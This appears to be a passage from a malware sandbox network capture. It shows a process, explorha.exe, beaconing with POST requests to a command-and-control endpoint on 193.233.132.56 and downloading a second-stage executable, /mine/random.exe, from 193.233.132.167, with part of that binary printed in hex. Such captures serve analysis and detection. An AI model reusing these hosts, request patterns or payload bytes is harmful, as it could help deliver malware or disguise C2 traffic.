Apr 13, 2024 20:21:19.926831007 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 13, 2024 20:21:19.926872015 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 13, 2024 20:21:19.926911116 CEST	1289	IN	Data Raw: af 92 c9 5c 1f ed cd 8d b2 09 f9 19 0f e3 81 eb 2f 61 7e 16 af b9 6c e7 1d d2 29 de a6 66 8a 65 cf 45 7a f3 d6 30 99 bd 5f 4a 42 8d d4 81 de 1d af d2 d9 f9 af 10 5a 75 17 99 c3 31 98 83 ce 15 be e8 4d a6 d7 79 a2 f1 f6 15 ba 35 b3 4a 59 dd ee 62 Data Ascii: \/a~l)feEz0_JBZu1My5JYbjmke1g]~"9qi}ReUA^sdmDwXz1u!NLcRybf&i96M!YAf%^iduOh
Apr 13, 2024 20:21:19.926949978 CEST	1289	IN	Data Raw: 35 3f f6 0d 11 c5 3b 0e 97 da 85 fb d1 2f 7e 8b 5b 69 c1 55 c2 7c a2 ed a9 94 7c 90 84 66 c6 51 c5 6d 45 e0 b2 cc 3a 1c 07 4e 25 22 f7 a9 40 cf 06 52 58 4f 88 6c bd 68 8e c2 e7 c7 1f e2 05 1c 02 38 9d e3 c2 a5 bd f4 e1 fa 2e 08 7f cb d7 19 0a 4e Data Ascii: 5?;/~[iU\|\|fQmE:N%"@RXOlh8.N]FXjPoJyl%d,w4$_WP"&aZw<US`%nP+7"F$b'92zkM12R/F"!)$8wZ1h*
Apr 13, 2024 20:21:19.926992893 CEST	1289	IN	Data Raw: 2b 57 11 46 ad d9 c4 3b 89 a1 ed a1 56 b4 10 a5 51 66 df 29 8a 07 e1 d2 45 2a a0 da d5 ad d8 11 be 31 b5 c8 ab 48 30 c9 ab 2c 97 ff e8 4f 3f 38 48 72 1b b3 ee 2a 12 20 6e b1 94 b9 39 8a ed 69 31 b4 10 13 16 da b1 1b 40 5d c0 57 ef e0 2a 41 af 58 Data Ascii: +WF;VQf)E1H0,O?8Hr n9i1@]WAXSFM#L[eq&:(PSHYt(F`ZcsP:>"i7^]fS7U^B3\|3&IfqUX\|NZ*^Q(zGeKI8K
Apr 13, 2024 20:21:19.927031040 CEST	1289	IN	Data Raw: a8 93 f9 8b 1f 14 fc b3 d3 87 29 92 19 2b 97 db 78 d5 c5 51 8c d3 ac 4c d4 98 27 4a fc e1 c2 25 23 97 18 85 da 98 3c 4e e7 20 c3 83 d8 c9 ba 8b d1 41 ca 83 d8 e2 ca 74 96 48 d8 d2 79 6b c4 58 dd e4 2a 14 5d 05 b9 2a c6 50 ba 4c bc ef bb 85 e3 7f Data Ascii: )+xQL'J%#<N AtHykX]PL7VHNEtJ[5p+yG_&&[PQE@eiifW1ZrNV]$RGvXwcI1vL~nTw?CnX'?
Apr 13, 2024 20:21:19.927072048 CEST	1289	IN	Data Raw: 4f 45 aa 02 df 42 2e 1d 15 d2 7f bd bd 30 9c 20 a5 d4 e4 b0 31 ad 6c 54 17 f3 f5 8f dc 91 dc 17 a5 ca 39 d5 dc a8 60 f8 8e 90 fe 62 09 1a 52 c7 f4 d3 01 e0 62 71 e8 0e 2e ed c7 3a b8 d9 ed cf f9 bd ea e0 b6 4c 3e 80 c5 60 79 0e 97 c6 e0 3d 63 8d Data Ascii: OEB.0 1lT9`bRbq.:L>`y=cR+x!Mx/nYg\'nwvhN $.Q'BRgE^)f \pE\z8s'-P\|tLbK:;$$fa\TIr7${2.
Apr 13, 2024 20:21:19.927113056 CEST	1289	IN	Data Raw: 0c af e0 56 c2 d1 de 94 a9 72 04 b3 2d 10 69 84 0d 69 4d c2 8d 15 20 0d 2d 7f 1d 57 02 4a 58 70 c4 be e6 0e 3d c3 e5 9c fe bd df 17 a7 6e ed 97 ce 69 c0 b1 88 14 c0 08 7e 4d ce 91 38 57 da cb bf 87 4a 95 09 64 dd 49 03 7a 00 d4 44 2a d2 5c ec 89 Data Ascii: Vr-iiM -WJXp=ni~M8WJdIzD*\cU+b=?e w'.P{UOaPLXUgu7N1/DPFv`L#HZHeV$BIxK\UTTX
Apr 13, 2024 20:21:20.269821882 CEST	1289	IN	Data Raw: b2 14 6f d0 00 1c da b9 4b 56 0f e3 92 27 d5 3d d9 65 db d4 9e 0d 9c 81 92 3b e5 fd 5d 79 e6 99 5a ed ce 11 77 27 f9 cc b5 4b b2 d3 41 4a d5 26 53 47 a0 ed 7f 66 5f 1a e6 ed 45 0a c4 ea 88 e3 a3 2b 04 03 6a 21 d5 f1 6c 09 9f e1 eb 0d c6 d2 61 f8 Data Ascii: oKV'=e;]yZw'KAJ&SGf_E+j!laJH"P:*iJ!Ov^L>=4[[k{7~&GKmX`YAZ)sfTzwP^U^eLW[N${D`t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:25.549710035 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000049001&unit=246122658369
Apr 13, 2024 20:21:25.899302006 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	193.233.132.167	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:26.246165991 CEST	56	OUT	GET /mine/random.exe HTTP/1.1 Host: 193.233.132.167
Apr 13, 2024 20:21:26.591094017 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:26 GMT Content-Type: application/octet-stream Content-Length: 1050444 Last-Modified: Sat, 13 Apr 2024 18:20:05 GMT Connection: keep-alive ETag: "661accd5-10074c" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b7 b7 1a 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 50 0c 12 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 62 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 56 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELf"w@0P@@@d\|@\|au4@.text `.rdata@@.datalpH@.rsrc\|a@b@@.relocuvV@B
Apr 13, 2024 20:21:26.591133118 CEST	1289	IN	Data Raw: 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 59 c3 e8 59 3c 00 00 68 fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY
Apr 13, 2024 20:21:26.591171980 CEST	1289	IN	Data Raw: 6b 10 04 00 8b 4f d4 85 c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d Data Ascii: kOu3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Apr 13, 2024 20:21:26.591211081 CEST	1289	IN	Data Raw: 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 8b 7f 38 eb d2 8b 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 Data Ascii: {{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GF
Apr 13, 2024 20:21:26.591248035 CEST	1289	IN	Data Raw: 00 50 57 8b f1 e8 4e 00 00 00 85 c0 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb Data Ascii: PWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3W
Apr 13, 2024 20:21:26.591285944 CEST	1289	IN	Data Raw: ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc 0f 84 83 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 Data Ascii: ]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uE
Apr 13, 2024 20:21:26.591324091 CEST	1289	IN	Data Raw: 8b c1 89 51 20 89 51 28 c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e Data Ascii: Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_
Apr 13, 2024 20:21:26.591362953 CEST	1289	IN	Data Raw: 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be 18 14 4d 00 8a 45 b4 88 01 8b ce e8 db 0b 00 00 68 9c ca 49 00 Data Ascii: ^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxM
Apr 13, 2024 20:21:26.591401100 CEST	1289	IN	Data Raw: 11 83 7e 04 00 75 0d 89 4e 04 ff 06 89 4e 08 5e 5d c2 04 00 8b 46 08 89 48 04 eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 ff 31 ff 15 68 c3 49 00 8b 45 fc 85 c0 74 05 33 c9 66 89 08 8d 8d Data Ascii: ~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP
Apr 13, 2024 20:21:26.591439962 CEST	1289	IN	Data Raw: 56 57 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 01 00 00 75 11 a1 e8 13 4d 00 89 86 a4 01 00 00 89 86 a8 01 00 00 39 9e b0 01 00 Data Ascii: VWh3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^[]U=hMV
Apr 13, 2024 20:21:26.936182022 CEST	1289	IN	Data Raw: 41 fc 39 18 74 44 8b 01 6a 03 ff 10 ff 77 14 e8 b3 c0 01 00 59 8d 4f 18 89 5f 08 89 5f 0c 89 5f 10 89 5f 14 89 5f 4c 66 89 1f e8 64 2a 00 00 8d 4f 28 e8 7a da ff ff 39 5f 58 0f 87 f6 f6 03 00 8d 4f 50 5f 5b e9 3e da ff ff 50 e8 77 c0 01 00 59 eb Data Ascii: A9tDjwYO_____Lfd*O(z9_XOP_[>PwYUS]EVWhA@~7jV&tQWYY_^[]VWj^$MZu MMrZMhZM^ZMTZM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:30.516189098 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 30 30 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000051001&unit=246122658369
Apr 13, 2024 20:21:30.867705107 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:31.326900005 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:31.670516968 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:31.672808886 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:32.021073103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:32.466891050 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:32.815515995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:32.816277981 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:33.165714025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:33.625838041 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:33.973395109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:33.974246025 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:34.325689077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:34.778785944 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:35.119549036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:35.120270967 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:35.474426031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49759	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:35.915992022 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:36.256207943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:36.256920099 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: 